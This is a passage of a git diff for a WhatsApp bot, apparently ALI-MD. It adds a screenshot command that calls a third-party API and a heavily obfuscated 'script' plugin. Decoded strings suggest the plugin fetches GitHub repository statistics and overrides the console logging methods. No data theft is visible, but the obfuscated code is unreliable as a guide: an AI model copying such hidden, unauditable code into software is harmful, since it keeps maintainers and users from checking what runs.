_0x4499e2[_0x16747f(0x268,0x273)](_0x23396b[_0x16747f(0x280,0x27a)],{'text':_0x16747f(0x27b,0x28b)},{'quoted':_0x23396b});}await _0x4499e2[_0x16747f(0x27a,0x273)](_0x23396b['sender'],_0x5af5eb,_0x3d9a9e);}catch(_0x4cd02e){console[_0x16747f(0x28e,0x285)](_0x16747f(0x281,0x292),_0x4cd02e),await _0x4499e2[_0x16747f(0x287,0x273)](_0x23396b[_0x16747f(0x286,0x27a)],{'text':_0x16747f(0x27c,0x279)+_0x4cd02e[_0x16747f(0x29c,0x289)]},{'quoted':_0x23396b});}}); diff --git a/plugins/screenshot.js b/plugins/screenshot.js new file mode 100644 index 0000000000000000000000000000000000000000..24c7ce6cde7665f330dd1dbc9ae11f477a28b75a --- /dev/null +++ b/plugins/screenshot.js @@ -0,0 +1,53 @@ + + + +const axios = require("axios"); +const config = require('../config'); +const { cmd } = require('../command'); + +cmd({ + pattern: "ss", + alias: ["ssweb"], + react: "๐Ÿš€", + desc: "Download screenshot of a given link.", + category: "other", + use: ".ss ", + filename: __filename, +}, +async (conn, mek, m, { + from, l, quoted, body, isCmd, command, args, q, isGroup, sender, + senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, + groupMetadata, groupName, participants, isItzcp, groupAdmins, + isBotAdmins, isAdmins, reply +}) => { + if (!q) { + return reply("Please provide a URL to capture a screenshot."); + } + + try { + + const response = await axios.get(`https://bk9.fun/tools/screenshot?device=tablet&url= ${q}`); + const screenshotUrl = response.data.screenshotUrl; + + // give credit and use + const imageMessage = { + image: { url: screenshotUrl }, + caption: "*ALI SS WEB*\n\n> *ยฉ ษขแด‡ษดแด‡ส€แด€แด›แด‡แด… ส™ส แด€สŸษช-แดแด…๐ŸŽ—๏ธ*", + contextInfo: { + mentionedJid: [m.sender], + forwardingScore: 999, + isForwarded: true, + forwardedNewsletterMessageInfo: { + newsletterJid: '120363318387454868@newsletter', + newsletterName: "๐€ษญฮนฬ‡ฮนฬ‡ ๐ŒฦŠ ๐Ÿ", + serverMessageId: 143, + }, + }, + }; + + await conn.sendMessage(from, imageMessage, { quoted: m }); + } catch (error) { + console.error(error); + reply("Failed to capture the screenshot. Please try again."); + } +}); diff --git a/plugins/script.js b/plugins/script.js new file mode 100644 index 0000000000000000000000000000000000000000..3c00b8b7f0d5302e0f4c77e031e19bc12bed4bd9 --- /dev/null +++ b/plugins/script.js @@ -0,0 +1 @@ +(function(_0x1cb43f,_0x5c5750){const _0x249b08=_0x1cb43f();function _0x5a2686(_0x45fbe8,_0x19bfe1,_0x6aad28,_0x571b45){return _0x54fc(_0x45fbe8- -0x3a3,_0x6aad28);}function _0xb2395d(_0x3a8def,_0xdc090d,_0x47a3a1,_0x5b6de7){return _0x54fc(_0x3a8def- -0x263,_0xdc090d);}while(!![]){try{const _0x3fc5e9=parseInt(_0x5a2686(-0x260,-0x2b1,-0x274,-0x2b5))/(0x1d*0x25+0x1b5b*-0x1+0x172b)+-parseInt(_0xb2395d(-0x193,-0x16f,-0x1e4,-0x1d2))/(-0xbc9+0x846+0x385)+-parseInt(_0x5a2686(-0x27f,-0x22a,-0x252,-0x28d))/(-0x1984+-0x1cf3*-0x1+-0x36c)*(-parseInt(_0x5a2686(-0x278,-0x29a,-0x270,-0x24f))/(0xc*-0xfb+0x1cc6+0xa*-0x1b3))+parseInt(_0x5a2686(-0x25b,-0x233,-0x22c,-0x2b1))/(-0x1ddf+-0x2*0x15c+0x4*0x827)+-parseInt(_0xb2395d(-0x183,-0x170,-0x1ae,-0x187))/(0xdb*0x10+0x219*0xb+0xb*-0x357)*(-parseInt(_0x5a2686(-0x294,-0x264,-0x279,-0x2e6))/(0x257f*-0x1+-0x1*-0x6d3+0x1eb3*0x1))+parseInt(_0xb2395d(-0x18f,-0x1c0,-0x1a9,-0x160))/(0xf3b+0x67*0x5c+-0x3437)*(parseInt(_0xb2395d(-0x19f,-0x158,-0x1da,-0x187))/(-0x1e0c+-0x1*0xc92+0x2aa7))+-parseInt(_0x5a2686(-0x2ba,-0x306,-0x281,-0x2b6))/(-0x23a0+0x1*0x16b9+0xcf1);if(_0x3fc5e9===_0x5c5750)break;else _0x249b08['push'](_0x249b08['shift']());}catch(_0x26e926){_0x249b08['push'](_0x249b08['shift']());}}}(_0x16d1,-0x3acbd+-0xb7ce+0x3d2d*0x29));const _0x460db6=(function(){const _0x30a3e6={};function _0x34b224(_0x1bcd9e,_0x51c08d,_0x5f953d,_0x1626b4){return _0x54fc(_0x1626b4-0x329,_0x5f953d);}_0x30a3e6['zMumM']=function(_0x336912,_0xde3a19){return _0x336912!==_0xde3a19;},_0x30a3e6['ZIyZZ']=_0x34b224(0x3cb,0x3c6,0x46a,0x418);const _0x2eac3e=_0x30a3e6;let _0x344ae1=!![];return function(_0x46ce87,_0x4f487b){const _0x3b13eb=_0x344ae1?function(){function _0x536256(_0x4d1427,_0x4c962a,_0x34ee44,_0x497b76){return _0x54fc(_0x4c962a- -0x375,_0x34ee44);}function _0x8947f4(_0x29e9ba,_0x1ad053,_0x1be3b5,_0x599ed1){return _0x54fc(_0x599ed1- -0xb3,_0x1ad053);}if(_0x2eac3e[_0x536256(-0x271,-0x2c1,-0x2fe,-0x26f)](_0x2eac3e['ZIyZZ'],_0x536256(-0x26e,-0x286,-0x238,-0x28f))){const _0x2e23db=_0x4f39c5[_0x536256(-0x287,-0x2c9,-0x2ac,-0x302)](_0x289012,arguments);return _0x25fe9e=null,_0x2e23db;}else{if(_0x4f487b){const _0x3b99fe=_0x4f487b[_0x536256(-0x2d2,-0x2c9,-0x2a8,-0x2c0)](_0x46ce87,arguments);return _0x4f487b=null,_0x3b99fe;}}}:function(){};return _0x344ae1=![],_0x3b13eb;};}()),_0x1ea25f=_0x460db6(this,function(){function _0x18237a(_0x47bd8f,_0x5d1cc0,_0x290860,_0x593027){return _0x54fc(_0x290860-0x4e,_0x5d1cc0);}function _0x2648a7(_0x502763,_0x2d9347,_0x35f113,_0x5d2ce3){return _0x54fc(_0x502763- -0xde,_0x5d2ce3);}return _0x1ea25f[_0x18237a(0x158,0x1a5,0x193,0x13f)]()[_0x18237a(0x1d0,0x1cb,0x18b,0x185)](_0x18237a(0x155,0x112,0x106,0xfb)+'+$')[_0x2648a7(0x67,0x39,0x9a,0x14)]()['constructo'+'r'](_0x1ea25f)[_0x2648a7(0x5f,0xa9,0x71,0x5a)](_0x18237a(0xd2,0x11c,0x106,0xc4)+'+$');});_0x1ea25f();const _0x1c9bfb=(function(){const _0x3aac70={};function _0x13885c(_0x2c1f0c,_0x3e32a5,_0x42c1da,_0x1a45c1){return _0x54fc(_0x2c1f0c-0x234,_0x3e32a5);}_0x3aac70[_0x13885c(0x338,0x33e,0x385,0x32d)]=function(_0x10c095,_0x2f217e){return _0x10c095!==_0x2f217e;},_0x3aac70[_0x240b67(0x46a,0x414,0x43a,0x3e3)]=_0x240b67(0x42f,0x454,0x4aa,0x470);const _0x311eff=_0x3aac70;function _0x240b67(_0x4b2f0e,_0x34dff3,_0x5f1eb6,_0x3147ad){return _0x54fc(_0x34dff3-0x321,_0x4b2f0e);}let _0x33cded=!![];return function(_0x5e3339,_0x5bbaba){const _0x4452e1={};function _0x249499(_0x30319d,_0x310610,_0x34e10e,_0x52e91f){return _0x13885c(_0x30319d-0x92,_0x52e91f,_0x34e10e-0x17f,_0x52e91f-0x92);}_0x4452e1[_0xcea10e(0x2da,0x2f2,0x2ee,0x2f6)]=_0x249499(0x390,0x36d,0x3bb,0x33f);const _0x5f366d=_0x4452e1;function _0xcea10e(_0x258f97,_0x53a668,_0x41db0c,_0x3db9ac){return _0x240b67(_0x41db0c,_0x53a668- -0x159,_0x41db0c-0x92,_0x3db9ac-0x151);}if(_0x311eff[_0x249499(0x3ca,0x396,0x3b8,0x3b2)](_0x311eff[_0xcea10e(0x2ea,0x2bb,0x2cf,0x2c7)],_0xcea10e(0x2e0,0x2fb,0x2ae,0x33d)))_0x31c8a0=_0x2629be;else{const _0x56f522=_0x33cded?function(){function _0x198cfa(_0x39be09,_0x5230fb,_0x32a934,_0x4a27bf){return _0xcea10e(_0x39be09-0x1a5,_0x4a27bf- -0x3ed,_0x32a934,_0x4a27bf-0xdf);}function _0x140324(_0x1f506e,_0x41c7d3,_0x5afdd3,_0x4fde96){return _0x249499(_0x1f506e- -0x5da,_0x41c7d3-0xef,_0x5afdd3-0x1a9,_0x5afdd3);}if(_0x5f366d['gfpAL']!==_0x5f366d[_0x140324(-0x1ea,-0x1a7,-0x1c4,-0x1ca)]){const _0xa47e4d=_0x4580a0[_0x140324(-0x1de,-0x1b8,-0x234,-0x1f8)+'r'][_0x140324(-0x24f,-0x229,-0x249,-0x235)][_0x140324(-0x1d0,-0x1bd,-0x223,-0x1a5)](_0x224f94),_0x1e4c5f=_0x48165e[_0xf6ab1a],_0x23176d=_0x8e9772[_0x1e4c5f]||_0xa47e4d;_0xa47e4d[_0x198cfa(-0xfb,-0xcc,-0xf6,-0xe9)]=_0x2fd5d3[_0x198cfa(-0xe9,-0xb5,-0xe5,-0xe1)](_0x2523db),_0xa47e4d[_0x198cfa(-0xb1,-0x9a,-0x96,-0xe0)]=_0x23176d[_0x198cfa(-0xd6,-0xb4,-0x8b,-0xe0)][_0x198cfa(-0x121,-0x91,-0xc0,-0xe1)](_0x23176d),_0x32d0aa[_0x1e4c5f]=_0xa47e4d;}else{if(_0x5bbaba){const _0x3d8b73=_0x5bbaba[_0x140324(-0x268,-0x2a2,-0x25e,-0x279)](_0x5e3339,arguments);return _0x5bbaba=null,_0x3d8b73;}}}:function(){};return _0x33cded=![],_0x56f522;}};}());function _0x822844(_0x4001d2,_0xd4fe00,_0x24011,_0x595765){return _0x54fc(_0x24011-0x230,_0xd4fe00);}const _0x15b3d2=_0x1c9bfb(this,function(){const _0x1d930c={'NzlkF':function(_0x478199,_0x6a7b9a){return _0x478199(_0x6a7b9a);},'FuLax':function(_0x547755,_0x3225f5){return _0x547755+_0x3225f5;},'HjtLu':'return\x20(fu'+_0x2efe52(-0x57,-0x9b,-0x20,-0x38),'KbKir':_0x2efe52(-0x46,-0x11,-0x80,-0x35)+_0x2efe52(-0x3d,-0x36,-0x84,0x12)+_0x4aecc3(-0x78,-0xa5,-0xbf,-0x26)+'\x20)','lkXIB':_0x4aecc3(-0x62,-0x95,-0x24,-0x55),'pxvOY':function(_0x1e4284,_0x5e2689){return _0x1e4284===_0x5e2689;},'UYYrL':_0x4aecc3(0x0,0x30,0x24,-0x34),'vfVpC':function(_0x406ebe){return _0x406ebe();},'yvnsP':'log','qYKag':'warn','Kuarp':_0x4aecc3(-0x3f,-0xb,-0x86,-0x74),'QeJbd':_0x2efe52(-0x22,-0x4f,-0x14,0x9),'WqDjx':_0x2efe52(-0x25,0x31,-0x16,-0x9),'euaVj':function(_0x4f56a6,_0x2c49a7){return _0x4f56a6<_0x2c49a7;}},_0xa93599=function(){const _0x21d36d={'SsThQ':function(_0x45a669,_0x19a9b4){return _0x1d930c['FuLax'](_0x45a669,_0x19a9b4);},'PhSig':_0x1d930c[_0x38d8a1(-0x88,-0x70,-0x6e,-0xaf)],'fjZXf':_0x1d930c[_0x38d8a1(-0x152,-0x13f,-0x1a7,-0x151)]};function _0x38d8a1(_0x42da0a,_0x5be4a1,_0x295d64,_0x2d42fc){return _0x2efe52(_0x2d42fc- -0xca,_0x5be4a1,_0x295d64-0x25,_0x2d42fc-0x10e);}function _0x97c2b0(_0x1f6834,_0x248efa,_0x453774,_0x573214){return _0x2efe52(_0x1f6834-0x402,_0x453774,_0x453774-0x2c,_0x573214-0xc1);}if(_0x1d930c['lkXIB']===_0x38d8a1(-0xcb,-0x10e,-0x114,-0x108)){let _0x3c4219;try{_0x3c4219=_0x1d930c[_0x97c2b0(0x3b8,0x3a4,0x3e3,0x3b8)](Function,_0x1d930c['FuLax'](_0x1d930c['HjtLu']+_0x1d930c[_0x97c2b0(0x37b,0x37c,0x37c,0x370)],');'))();}catch(_0x1b2357){_0x1d930c[_0x97c2b0(0x392,0x33e,0x3b7,0x3b3)]('uEDmG',_0x1d930c[_0x97c2b0(0x38f,0x356,0x3c7,0x33c)])?_0x3c4219=window:_0xb10322=_0x1d930c[_0x38d8a1(-0x15c,-0x15e,-0x163,-0x114)](_0x1b044f,_0x1d930c['FuLax'](_0x1d930c[_0x38d8a1(-0x94,-0x7b,-0x7e,-0xaa)](_0x1d930c[_0x97c2b0(0x41d,0x3d5,0x40f,0x3cc)],'{}.constru'+_0x97c2b0(0x3c5,0x3ae,0x3b4,0x414)+'rn\x20this\x22)('+'\x20)'),');'))();}return _0x3c4219;}else{let _0x9f2827;try{_0x9f2827=_0x4d528c(_0x21d36d['SsThQ'](_0x21d36d[_0x97c2b0(0x3cd,0x3f8,0x3ba,0x3fc)],_0x21d36d['fjZXf'])+');')();}catch(_0x48ba1c){_0x9f2827=_0x1e0109;}return _0x9f2827;}},_0x2e686e=_0x1d930c[_0x4aecc3(-0x3d,0x8,-0x8c,-0xf)](_0xa93599),_0x11ad55=_0x2e686e[_0x2efe52(-0x4d,-0x2e,-0x14,-0x60)]=_0x2e686e[_0x4aecc3(-0x71,-0x65,-0x87,-0x77)]||{},_0x1d170a=[_0x1d930c['yvnsP'],_0x1d930c[_0x2efe52(-0x1,0x6,0x30,-0xe)],_0x1d930c['Kuarp'],_0x2efe52(-0x42,-0x96,-0x80,-0x4f),_0x1d930c[_0x2efe52(0x7,0x2a,0x5a,-0x42)],_0x4aecc3(-0x83,-0x92,-0x5f,-0x6e),_0x1d930c[_0x2efe52(-0x4f,0x6,-0x23,-0x58)]];function _0x4aecc3(_0x417aca,_0x30983c,_0x131883,_0x499b31){return _0x54fc(_0x417aca- -0x152,_0x131883);}function _0x2efe52(_0x58af23,_0x1bd8b0,_0x109a1b,_0x26b1cf){return _0x54fc(_0x58af23- -0x12e,_0x1bd8b0);}for(let _0x1deccf=-0x13*0xc9+-0x9d+0xf88*0x1;_0x1d930c[_0x2efe52(-0x38,-0x48,0x1c,0x1)](_0x1deccf,_0x1d170a[_0x2efe52(0xa,0x40,-0x22,0x26)]);_0x1deccf++){const _0x39bb02=_0x1c9bfb[_0x2efe52(0x8,-0x1a,-0x37,-0x35)+'r']['prototype']['bind'](_0x1c9bfb),_0x3b880f=_0x1d170a[_0x1deccf],_0x1e8b75=_0x11ad55[_0x3b880f]||_0x39bb02;_0x39bb02['__proto__']=_0x1c9bfb[_0x2efe52(0x16,-0x9,0x47,0xd)](_0x1c9bfb),_0x39bb02['toString']=_0x1e8b75[_0x2efe52(0x17,-0x13,0xd,0x2d)][_0x2efe52(0x16,0x15,-0x37,0x64)](_0x1e8b75),_0x11ad55[_0x3b880f]=_0x39bb02;}});_0x15b3d2();const more=String[_0x822844(0x2e4,0x2ee,0x2dd,0x2fa)+'de'](0x5*0x74f+0x33be*0x1+-0x383b),readMore=more[_0x2c63a9(0x2aa,0x2a5,0x293,0x2fe)](-0xfcd+-0x1ecb*0x1+0x11*0x3a9),fetch=require(_0x2c63a9(0x24e,0x296,0x26a,0x281)),config=require(_0x822844(0x300,0x335,0x30e,0x346)),{cmd}=require(_0x2c63a9(0x29c,0x2e1,0x26b,0x2c2)),_0x1d60d1={};_0x1d60d1[_0x2c63a9(0x2b6,0x294,0x2da,0x2eb)]=_0x2c63a9(0x298,0x259,0x25d,0x270),_0x1d60d1[_0x2c63a9(0x285,0x28b,0x27f,0x29f)]=[_0x2c63a9(0x23e,0x279,0x285,0x240),'sc',_0x822844(0x336,0x378,0x343,0x361)],_0x1d60d1[_0x822844(0x361,0x328,0x34a,0x381)]=_0x822844(0x29b,0x2ca,0x2d8,0x305)+_0x822844(0x331,0x32f,0x309,0x2ee)+_0x822844(0x36c,0x38b,0x344,0x366)+_0x822844(0x2fc,0x337,0x347,0x347)+'ory.';function _0x54fc(_0x1ea25f,_0x460db6){const _0x16d17f=_0x16d1();return _0x54fc=function(_0x54fc82,_0x16a42b){_0x54fc82=_0x54fc82-(-0x427*0x4+-0x4b+-0x6b*-0x2a);let _0x2df093=_0x16d17f[_0x54fc82];return _0x2df093;},_0x54fc(_0x1ea25f,_0x460db6);}function _0x2c63a9(_0x57cf9,_0x469d99,_0x125a99,_0x1a5143){return _0x54fc(_0x57cf9-0x17b,_0x1a5143);}function _0x16d1(){const _0x4c2ead=['../config','WqDjx','54AaToMh','console','\x20status\x20','\x0a\x0aโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€','NzlkF','ERED\x20BY\x20AL','\x20*sษชแดแด˜สŸแด‡,\x20','https://ti','{}.constru','8430030oXDqwj','๐‘๐„\x20๐€๐‹๐ˆ-๐Œ๐ƒ\x20','caption','error','ewsletter','stargazers','HEJjZ','tLpEg','ctor(\x22retu','\x0a\x0a*`DESCRI','eGfeE','_count','name','euaVj','o.jpg','\x0a\x0a*`FORKS:','PhSig','.moe/cup6r','AvCIa','tx-alii-ra','thub.com/i','LINK:`๐Ÿ“ฎ*\x0a>','`๐Ÿด*\x0a>\x20','om/repos/','/fork\x0a\x0a*`B','tion','MmbrD','Gpelb','VWhab','๐€ษญฤซฤซ\x20๐ŒฦŠ\x20๐šฉโ','ailed\x20with','PTION:`๐Ÿ“‘*\x0a','trace','alias','แด›สœแด‡\x20ส€แด‡แด˜แด๐ŸŒŸ๐Ÿด','exception','*\x0a\x0a*`REPO\x20','\x0a\x0a*`OWNER\x20','258013kMKJSk','MRofk','les.catbox','ository\x20in','info','out\x20a\x20GitH','vfVpC','\x20GC:`๐Ÿช€*\x0a>\x20','ub\x20reposit','category','\x20https://g','desc','ter.','Jid','script','uWumr','ageId','forwarding','../command','audio/mp4','image','321YZFfJJ','sendMessag','\x20๐€ษญฤซฤซ\x20๐ˆฦžฬ„xฬทฤซ','y\x20again\x20la','forwardedN','ithub.com/','gfpAL','18968IWGGtt','status','qYKag','epo\x20comman','repeat','mimetype','capEa','Score','uJyvy','essageInfo','QeJbd','constructo','ewsletterM','length','*๐‡๐„๐‹๐‹๐Ž\x20๐“๐‡๐„','newsletter','pattern','__proto__','search','ftLTW','\x20request\x20f','https://ap','ng\x20the\x20rep','I*\x20๐ŸŽ','519946PFcJsN','bind','toString','โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€','isForwarde','462470YtUCCr','HjtLu','Name','ษชแด„ส,\x20แด„แดสŸแด…\x20','quoted','serverMess','FuLax','nyurl.com/','ษชแด›สœ\x20แด€แดแด€แดขษชษด','za/ALI-MD','uEDmG','KbKir','Fetch\x20info','๐„๐‘!๐Ÿ˜‡๐Ÿ‘‘*\x20\x0a\x0a>','aza/ALI-MD','JBYhq','apply','fromCharCo','1203633183','แด€แด…แด‡แด…\x20ส™แดแด›\x20แดก','i.github.c','สˆ\x20\x20โƒช๐Ÿค–แชณแชณอŽ๐†ผ','ษข\x20า“แด‡แด€แด›แดœส€แด‡s','https://fi','zMumM','sender','iQmnA','ฤซษ–๐›†ฬฝ\x0a\x0a*`STA','(((.+)+)+)','๐“\x20๐’สŠฬŠ๐๐เนแึŸษผ','OT\x20SUPPORT','UYYrL','\x20Please\x20tr','RS:`๐ŸŒŸ*\x0a>\x20','pxvOY','๐–.๐€\x20๐๐Ž๐“\x20๐”๐’','NAME:`๐Ÿ‘จโ€๐Ÿ’ป*\x0a>','audio','contextInf','repo','603162IcXVPD','prototype','*`BOT\x20NAME','react','c.mp3','filename','UEioW','ptt','ส€ษขแด‡แด›\x20แด›แด\x20sแด›','ething\x20wen','forks_coun','table','776760sjhmHo','No\x20descrip','mentionedJ','node-fetch','16SyDxbE','.moe/6ku0e','itx-alii-r','nction()\x20','ile\x20fetchi','rmation\x20ab','rn\x20this\x22)(',':`๐Ÿค–*\x0a>\x20','tMPIF','2acmqaqz\x0a\x0a'];_0x16d1=function(){return _0x4c2ead;};return _0x16d1();}_0x1d60d1[_0x2c63a9(0x242,0x260,0x25a,0x24b)]='๐ŸŽ—๏ธ',_0x1d60d1[_0x822844(0x352,0x391,0x348,0x372)]='info',_0x1d60d1[_0x2c63a9(0x244,0x24c,0x20d,0x24c)]=__filename,cmd(_0x1d60d1,async(_0x36ab61,_0x559263,_0xc76e80,{from:_0x26e314,reply:_0x38f929})=>{const _0x5dda29={'AvCIa':'https://gi'+_0x351ff6(-0xeb,-0xd6,-0xea,-0x10d)+_0x351ff6(-0xec,-0x11a,-0xe7,-0x137)+_0x351ff6(-0x97,-0xa5,-0xa9,-0x95),'MmbrD':function(_0x59f5e8,_0x421ef7){return _0x59f5e8(_0x421ef7);},'VWhab':_0x484f68(-0x2bc,-0x2cc,-0x29b,-0x2eb)+_0x484f68(-0x289,-0x300,-0x2e8,-0x2ba),'ftLTW':_0x484f68(-0x34f,-0x2de,-0x2c5,-0x30e)+'87454868@n'+_0x351ff6(-0xfb,-0x13c,-0x108,-0xbb),'uWumr':_0x351ff6(-0xe2,-0x97,-0x95,-0xc6)+_0x484f68(-0x2cc,-0x2f1,-0x326,-0x303)+_0x351ff6(-0x137,-0xe7,-0x160,-0x171),'KgVGt':_0x351ff6(-0x135,-0x14a,-0xe7,-0x178)+_0x484f68(-0x280,-0x2c4,-0x25f,-0x2ab)+_0x351ff6(-0xee,-0xc8,-0x13e,-0x108)+_0x351ff6(-0x120,-0x100,-0x149,-0xcc),'JBYhq':_0x484f68(-0x250,-0x29d,-0x26e,-0x29a),'MRofk':function(_0x53dce8,_0x329a4a){return _0x53dce8!==_0x329a4a;},'BHrOR':_0x351ff6(-0x132,-0x169,-0x127,-0x116),'btYat':'Error\x20in\x20r'+_0x351ff6(-0xba,-0xa7,-0x85,-0xa8)+'d:','tMPIF':function(_0x964ee9,_0x277f39){return _0x964ee9(_0x277f39);},'capEa':'Sorry,\x20som'+_0x484f68(-0x2a9,-0x2c5,-0x329,-0x2ef)+'t\x20wrong\x20wh'+_0x484f68(-0x334,-0x311,-0x337,-0x2e4)+_0x484f68(-0x297,-0x285,-0x226,-0x27b)+_0x484f68(-0x2eb,-0x2e0,-0x293,-0x2aa)+'formation.'+_0x351ff6(-0x12c,-0x13a,-0xef,-0x12c)+_0x351ff6(-0xc1,-0xd0,-0x6c,-0x100)+_0x484f68(-0x273,-0x2da,-0x2ee,-0x2a1)},_0x5bce99=_0x5dda29[_0x351ff6(-0xed,-0xa0,-0xf2,-0xc3)];function _0x351ff6(_0x443747,_0x45cfa0,_0x4e05f0,_0x4712d2){return _0x2c63a9(_0x443747- -0x363,_0x45cfa0-0x138,_0x4e05f0-0x1ba,_0x45cfa0);}function _0x484f68(_0x18eae6,_0x11285a,_0xc5e8ec,_0x2a0552){return _0x822844(_0x18eae6-0x135,_0x18eae6,_0x2a0552- -0x5ec,_0x2a0552-0xa1);}try{const [,_0x245ecc,_0x176f31]=_0x5bce99['match'](/github\.com\/([^/]+)\/([^/]+)/),_0x20f476=await _0x5dda29[_0x351ff6(-0xe5,-0x114,-0xf6,-0xd8)](fetch,_0x351ff6(-0xa8,-0xc9,-0x63,-0xb1)+_0x484f68(-0x2f0,-0x2ea,-0x2f7,-0x30c)+_0x484f68(-0x26f,-0x30f,-0x28b,-0x2bc)+_0x245ecc+'/'+_0x176f31);if(!_0x20f476['ok'])throw new Error('GitHub\x20API'+_0x351ff6(-0xa9,-0x87,-0xb4,-0xce)+_0x484f68(-0x284,-0x2d4,-0x2a4,-0x2b5)+_0x351ff6(-0x106,-0xcd,-0x13f,-0xd1)+_0x20f476[_0x351ff6(-0xbc,-0x104,-0x80,-0x87)]);const _0xd58bd8=await _0x20f476['json'](),_0x395a40=_0x351ff6(-0xaf,-0x5d,-0x5d,-0xee)+_0x351ff6(-0xfe,-0x13f,-0x14e,-0xf2)+_0x351ff6(-0x129,-0x154,-0x123,-0xf3)+_0x484f68(-0x2e8,-0x2d9,-0x2bd,-0x313)+_0x351ff6(-0x102,-0xc3,-0xca,-0xf0)+_0x351ff6(-0x9d,-0x96,-0xc0,-0x81)+'\x20&\x20ส€ษชแด„สœ\x20สŸแด'+_0x484f68(-0x339,-0x31b,-0x2c0,-0x30d)+_0x484f68(-0x2ad,-0x230,-0x230,-0x26c)+_0x351ff6(-0x136,-0x117,-0x170,-0x11f)+',\x20แด…แดษด\x27แด›\x20า“แด'+_0x484f68(-0x33b,-0x309,-0x2eb,-0x2f0)+'แด€ส€\x20&\x20า“แดส€แด‹\x20'+_0x351ff6(-0xdd,-0x10f,-0xae,-0xed)+_0x484f68(-0x273,-0x2cb,-0x29a,-0x2af)+_0x351ff6(-0xea,-0xbc,-0xeb,-0x13e)+_0x484f68(-0x2d6,-0x288,-0x2d5,-0x2a3)+_0x351ff6(-0xbf,-0x7d,-0x10b,-0xf7)+_0x351ff6(-0x112,-0x147,-0x15a,-0x162)+_0x351ff6(-0x13e,-0xea,-0xf5,-0x135)+_0x351ff6(-0xe7,-0x121,-0xf2,-0x96)+_0x484f68(-0x351,-0x327,-0x2ef,-0x302)+_0x351ff6(-0xd2,-0xec,-0x11d,-0xa9)+_0x351ff6(-0x101,-0xbd,-0xd5,-0xdd)+_0x484f68(-0x251,-0x286,-0x256,-0x26d)+_0x484f68(-0x30c,-0x2ff,-0x335,-0x2df)+_0x484f68(-0x34a,-0x2d7,-0x2b1,-0x2f6)+_0x484f68(-0x318,-0x2a4,-0x2aa,-0x2e1)+_0xd58bd8[_0x351ff6(-0xf3,-0x11b,-0xcb,-0x122)]+(_0x484f68(-0x2b1,-0x2e6,-0x259,-0x2ae)+_0x484f68(-0x33e,-0x2c9,-0x324,-0x2fc)+_0x484f68(-0x2d4,-0x2cb,-0x248,-0x296)+_0x484f68(-0x2ff,-0x2b4,-0x330,-0x305)+_0x484f68(-0x345,-0x2b7,-0x318,-0x2ff))+_0xd58bd8[_0x484f68(-0x297,-0x300,-0x313,-0x2ce)+_0x484f68(-0x2d1,-0x2bb,-0x2f3,-0x2c8)]+(_0x484f68(-0x2e6,-0x2a9,-0x294,-0x2c4)+_0x351ff6(-0xe9,-0x9f,-0xa6,-0x97))+_0xd58bd8[_0x351ff6(-0x11a,-0x12a,-0x133,-0x10d)+'t']+(_0x484f68(-0x2d2,-0x2dd,-0x314,-0x2ca)+_0x484f68(-0x303,-0x2b7,-0x2c9,-0x2b4)+'>\x20')+(_0xd58bd8['descriptio'+'n']||_0x5dda29[_0x351ff6(-0xe3,-0xf6,-0xce,-0x127)])+(_0x484f68(-0x2d7,-0x297,-0x2a4,-0x2d9)+_0x484f68(-0x249,-0x255,-0x2a1,-0x276)+'\x0a\x0a>\x20*ยฉ\x20POW'+_0x351ff6(-0x103,-0xc2,-0x138,-0x129)+_0x484f68(-0x275,-0x28b,-0x2c6,-0x27a)),_0x5e1deb={};_0x5e1deb['url']=_0x484f68(-0x313,-0x308,-0x2ca,-0x309)+_0x351ff6(-0xd7,-0x124,-0xfc,-0xae)+_0x351ff6(-0x113,-0xd8,-0x11e,-0xf5)+_0x351ff6(-0xf1,-0xe8,-0x119,-0x103);const _0x121d2a={};_0x121d2a[_0x351ff6(-0xae,-0xb4,-0xa9,-0x63)+_0x484f68(-0x259,-0x29e,-0x24c,-0x2a0)]=_0x5dda29[_0x351ff6(-0xaa,-0x9c,-0xc8,-0xb6)],_0x121d2a[_0x351ff6(-0xae,-0xda,-0x69,-0xec)+_0x351ff6(-0x9e,-0xbc,-0x86,-0x7e)]=_0x5dda29[_0x484f68(-0x2ac,-0x2d3,-0x263,-0x29e)],_0x121d2a[_0x351ff6(-0x9b,-0xc0,-0xb9,-0xba)+_0x484f68(-0x2cf,-0x2a7,-0x2d9,-0x29d)]=0x8f;const _0x13ef09={};_0x13ef09['mentionedJ'+'id']=[_0xc76e80[_0x484f68(-0x30b,-0x302,-0x2b7,-0x307)]],_0x13ef09[_0x351ff6(-0xc8,-0x88,-0x98,-0x101)+_0x351ff6(-0xb6,-0xd0,-0xbb,-0x81)]=0x3e7,_0x13ef09['isForwarde'+'d']=!![],_0x13ef09[_0x484f68(-0x2c8,-0x286,-0x271,-0x294)+_0x484f68(-0x23a,-0x2ab,-0x28e,-0x285)+'essageInfo']=_0x121d2a;const _0x2e00e8={};_0x2e00e8[_0x351ff6(-0xc5,-0xfc,-0xba,-0x81)]=_0x5e1deb,_0x2e00e8[_0x351ff6(-0xfd,-0x119,-0xc5,-0x11a)]=_0x395a40,_0x2e00e8[_0x484f68(-0x2c7,-0x2c7,-0x307,-0x2fa)+'o']=_0x13ef09;const _0x3feb68={};_0x3feb68['quoted']=_0x559263,await _0x36ab61[_0x351ff6(-0xc3,-0x104,-0xb7,-0x7c)+'e'](_0x26e314,_0x2e00e8,_0x3feb68);const _0x4adbfe={};_0x4adbfe['url']=_0x5dda29['KgVGt'];const _0x4d17c9={};_0x4d17c9[_0x351ff6(-0x127,-0xf0,-0x158,-0x16d)]=_0x4adbfe,_0x4d17c9[_0x351ff6(-0xb8,-0xd6,-0xe3,-0xbf)]=_0x5dda29[_0x351ff6(-0x13d,-0x160,-0x145,-0x118)],_0x4d17c9[_0x484f68(-0x2e7,-0x2d1,-0x336,-0x2f1)]=!![],_0x4d17c9[_0x484f68(-0x2b4,-0x2a6,-0x2fb,-0x2fa)+'o']={},_0x4d17c9[_0x484f68(-0x2b4,-0x2a6,-0x2fb,-0x2fa)+'o'][_0x351ff6(-0x116,-0xc5,-0x130,-0xda)+'id']=[_0xc76e80[_0x351ff6(-0x133,-0x167,-0x119,-0x186)]],_0x4d17c9[_0x484f68(-0x2b4,-0x2a6,-0x2fb,-0x2fa)+'o']['forwarding'+'Score']=0x3e7,_0x4d17c9[_0x484f68(-0x2b4,-0x2a6,-0x2fb,-0x2fa)+'o'][_0x484f68(-0x256,-0x295,-0x25c,-0x275)+'d']=![],_0x4d17c9[_0x484f68(-0x2b4,-0x2a